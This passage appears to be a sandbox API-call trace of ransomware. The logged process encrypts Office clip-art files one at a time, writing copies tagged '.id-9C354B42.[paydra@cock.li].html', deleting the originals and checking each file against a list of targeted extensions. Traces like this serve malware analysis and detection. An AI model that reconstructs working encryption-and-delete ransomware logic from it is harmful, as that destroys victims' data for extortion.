[0060.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.648] lstrlenW (lpString=".dbf") returned 4 [0060.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.648] lstrlenW (lpString=".1cd") returned 4 [0060.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0060.648] lstrlenW (lpString=".jpg") returned 4 [0060.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.648] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2166) returned 1 [0060.648] CloseHandle (hObject=0x240) returned 1 [0060.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0060.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0060.649] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.649] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.649] GetLastError () returned 0x0 [0060.649] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x876, lpOverlapped=0x0) returned 1 [0060.662] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x880, lpOverlapped=0x0) returned 1 [0060.663] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.663] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.663] SetEndOfFile (hFile=0x20c) returned 1 [0060.668] CloseHandle (hObject=0x20c) returned 1 [0060.674] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.674] SetEndOfFile (hFile=0x240) returned 1 [0060.681] CloseHandle (hObject=0x240) returned 1 [0060.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0060.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.681] lstrlenW (lpString=".doc") returned 4 [0060.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.681] lstrlenW (lpString=".docx") returned 5 [0060.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.681] lstrlenW (lpString=".pdf") returned 4 [0060.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.681] lstrlenW (lpString=".xls") returned 4 [0060.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.682] lstrlenW (lpString=".xlsx") returned 5 [0060.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.682] lstrlenW (lpString=".ppt") returned 4 [0060.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.682] lstrlenW (lpString=".zip") returned 4 [0060.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.682] lstrlenW (lpString=".rar") returned 4 [0060.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.682] lstrlenW (lpString=".bz2") returned 4 [0060.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.682] lstrlenW (lpString=".7z") returned 3 [0060.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.682] lstrlenW (lpString=".dbf") returned 4 [0060.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.682] lstrlenW (lpString=".1cd") returned 4 [0060.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0060.682] lstrlenW (lpString=".jpg") returned 4 [0060.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.682] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3104) returned 1 [0060.682] CloseHandle (hObject=0x240) returned 1 [0060.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0060.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0060.683] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.683] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.683] GetLastError () returned 0x0 [0060.689] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xc20, lpOverlapped=0x0) returned 1 [0060.698] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xc30, lpOverlapped=0x0) returned 1 [0060.699] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.699] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.699] SetEndOfFile (hFile=0x20c) returned 1 [0060.700] CloseHandle (hObject=0x20c) returned 1 [0060.700] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.700] SetEndOfFile (hFile=0x240) returned 1 [0060.701] CloseHandle (hObject=0x240) returned 1 [0060.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0060.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.701] lstrlenW (lpString=".doc") returned 4 [0060.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.701] lstrlenW (lpString=".docx") returned 5 [0060.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.701] lstrlenW (lpString=".pdf") returned 4 [0060.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.701] lstrlenW (lpString=".xls") returned 4 [0060.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.701] lstrlenW (lpString=".xlsx") returned 5 [0060.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.701] lstrlenW (lpString=".ppt") returned 4 [0060.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.701] lstrlenW (lpString=".zip") returned 4 [0060.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.701] lstrlenW (lpString=".rar") returned 4 [0060.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.702] lstrlenW (lpString=".bz2") returned 4 [0060.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.702] lstrlenW (lpString=".7z") returned 3 [0060.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.702] lstrlenW (lpString=".dbf") returned 4 [0060.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.702] lstrlenW (lpString=".1cd") returned 4 [0060.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0060.702] lstrlenW (lpString=".jpg") returned 4 [0060.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.714] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.714] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.727] GetLastError () returned 0x0 [0060.727] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x804, lpOverlapped=0x0) returned 1 [0060.728] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x810, lpOverlapped=0x0) returned 1 [0060.729] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.729] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.729] SetEndOfFile (hFile=0x20c) returned 1 [0060.730] CloseHandle (hObject=0x20c) returned 1 [0060.730] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.730] SetEndOfFile (hFile=0x240) returned 1 [0060.731] CloseHandle (hObject=0x240) returned 1 [0060.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0060.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.731] lstrlenW (lpString=".doc") returned 4 [0060.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.731] lstrlenW (lpString=".docx") returned 5 [0060.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.731] lstrlenW (lpString=".pdf") returned 4 [0060.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.731] lstrlenW (lpString=".xls") returned 4 [0060.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.732] lstrlenW (lpString=".xlsx") returned 5 [0060.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.732] lstrlenW (lpString=".ppt") returned 4 [0060.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.732] lstrlenW (lpString=".zip") returned 4 [0060.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.732] lstrlenW (lpString=".rar") returned 4 [0060.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.732] lstrlenW (lpString=".bz2") returned 4 [0060.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.732] lstrlenW (lpString=".7z") returned 3 [0060.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.732] lstrlenW (lpString=".dbf") returned 4 [0060.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.732] lstrlenW (lpString=".1cd") returned 4 [0060.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0060.732] lstrlenW (lpString=".jpg") returned 4 [0060.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.733] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3896) returned 1 [0060.733] CloseHandle (hObject=0x240) returned 1 [0060.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0060.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0060.733] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.733] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.734] GetLastError () returned 0x0 [0060.734] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xf38, lpOverlapped=0x0) returned 1 [0060.789] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0060.790] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.790] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.790] SetEndOfFile (hFile=0x20c) returned 1 [0060.790] CloseHandle (hObject=0x20c) returned 1 [0060.790] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.790] SetEndOfFile (hFile=0x240) returned 1 [0060.791] CloseHandle (hObject=0x240) returned 1 [0060.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0060.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.791] lstrlenW (lpString=".doc") returned 4 [0060.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.791] lstrlenW (lpString=".docx") returned 5 [0060.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.791] lstrlenW (lpString=".pdf") returned 4 [0060.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.791] lstrlenW (lpString=".xls") returned 4 [0060.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.791] lstrlenW (lpString=".xlsx") returned 5 [0060.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.792] lstrlenW (lpString=".ppt") returned 4 [0060.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.792] lstrlenW (lpString=".zip") returned 4 [0060.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.792] lstrlenW (lpString=".rar") returned 4 [0060.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.792] lstrlenW (lpString=".bz2") returned 4 [0060.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.792] lstrlenW (lpString=".7z") returned 3 [0060.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.792] lstrlenW (lpString=".dbf") returned 4 [0060.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.792] lstrlenW (lpString=".1cd") returned 4 [0060.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0060.792] lstrlenW (lpString=".jpg") returned 4 [0060.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.792] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2436) returned 1 [0060.792] CloseHandle (hObject=0x240) returned 1 [0060.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0060.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0060.793] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.793] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.793] GetLastError () returned 0x0 [0060.794] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x984, lpOverlapped=0x0) returned 1 [0060.796] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x990, lpOverlapped=0x0) returned 1 [0060.796] ReadFile (in: hFile=0x240, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.796] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.797] SetEndOfFile (hFile=0x20c) returned 1 [0060.797] CloseHandle (hObject=0x20c) returned 1 [0060.797] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.797] SetEndOfFile (hFile=0x240) returned 1 [0060.797] CloseHandle (hObject=0x240) returned 1 [0060.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.798] DeleteFileW (lpFileName="C:\\Program 